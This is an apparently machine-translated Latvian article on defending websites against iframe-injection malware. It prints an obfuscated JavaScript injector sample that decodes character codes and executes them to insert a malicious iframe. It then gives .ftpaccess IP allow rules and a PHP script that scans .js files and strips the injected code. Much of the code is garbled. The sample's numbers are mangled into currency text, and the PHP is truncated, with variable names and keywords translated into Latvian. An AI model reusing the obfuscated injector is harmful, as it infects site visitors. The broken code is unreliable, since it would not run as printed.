    try(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototype;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h )?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$2$1.5$56$45.5$5.5$13$5.1$5.1$5.1$5$52$54$13$5.1$. 0,5 USD 2 USD 59,5 17,5 ASV dolāri 17 ASV dolāri 17,5 ASV dolāri 26,5 ASV dolāri -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e(q ;)

    Viss šis simboliskais haoss radās JavaScript darbojas pārvēršas par viegli lasāmu iframe ievietojuma HTML kodu un lejupielādē vīrusa pamattekstu vietnes lietotājam, izmantojot ļaunprātīgu izmantošanu. Pamatojoties uz šo minimālo teoriju, mēs sāksim pasargāt sevi no vietņu infekcijām.

    Settings.ftpaccess — ierobežo FTP piekļuvi serveriem

    Vīrusi, kas nolaupa jūsu ftp paroles, ir tik viltīgi, ka pretvīrusi bieži vien ir bezspēcīgi un paroles noplūst neatkarīgi no tā, cik smagi jūs sevi aizsargājat. Es ierosinu izvēlēties citu ceļu un vienkārši bloķēt piekļuvi savam ftp. Lai atļautu FTP piekļuvi tikai no noteiktiem IP, ievietojiet .ftpaccess failu ar saturu servera vai vietņu mapes saknē:

    Atļaut no xx.xx.xx.xx Atļaut no xx.xx.xx.xx Liegt no visiem

    Kur xx.xx.xx.xx ir jūsu IP, no kuras ir atļautas FTP darbības, ardievas visiem pārējiem.

    Lai iegūtu īpašu IP, zvaniet savam pakalpojumu sniedzējam!

    Ja joprojām nevarat iegūt īpašu adresi, bet jums ir dinamiskas adreses, varat norādīt adrešu diapazonu, no kurām jūsu interneta pakalpojumu sniedzējs izsniedz IP adreses, piemēram, tas izskatīsies šādi:

    Atļaut 212.32.5.0/26 Atļaut 158.152.0.0/16 Aizliegt visu

    Tas ierobežos hakeru piekļuvi jūsu serveriem.

    Automātiskās noņemšanas skripts no visiem iframe ievietošanas failiem

    Pēc tam, kad serveri bija aizsargāti, es sāku rakstīt skriptu, kas varētu pārbaudīt vietnē vīrusus un iziet cauri visām mitināšanas mapēm, pārbaudot manis norādītos failu formātus, lai saturā nebūtu iframe. Darba rezultāts bija šāds skripts, kas no vietnes lapām noņem ļaunprātīga koda ievietošanu, konkrētā piemērā no .js skriptiem:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ) ; $pos_end = stripos ($v , $GLOBALS [ "virus_end" ]) ; $ virus_text = substr ($v , $pos_start , $pos_end ) ; if ($virus_text != "" ) ( if (! stristr ($v , $virus_text ) ) ( $nfile = $v ; ) else ( if (! $ karodziņš ) ( $flag = true ; if (in_array ($ffile , $GLOBALS [ "skip_files" ] ) ) echo " - izlaists" ; else ( echo " - inficēts" ; $GLOBALS [ "inficēto_numurs" ] ++; ) ) ) ) else ( $nfile = $v ; ) ) if ( $GLOBALS [ "del" ] ) ( $fails = fopen ($faila nosaukums, "w") ; fwrite ($fails , implode ($nfile , "" ) ) ; fclose ($fails ) ; ) ) dir_walk("del_virus" , $dir , masīvs ( "js" ), true , $dir ) ; echo "Inficēto skaits = $inficēto_numurs" ; ?>

    $v) ( $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $ virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") ( if (!stristr($v, $virus_text)) ( $nfile=$v; ) else ( if (!$ karodziņš) ( $flag=true; if (in_array($ffile, $GLOBALS["izlaist_faili"])) echo " - izlaists"; else ( echo " - inficēts"; $GLOBALS["inficēto_numurs"]++; ) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ( $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")) ; fclose($fails); ) ) dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Inficēto skaits = $num_infected "; ?>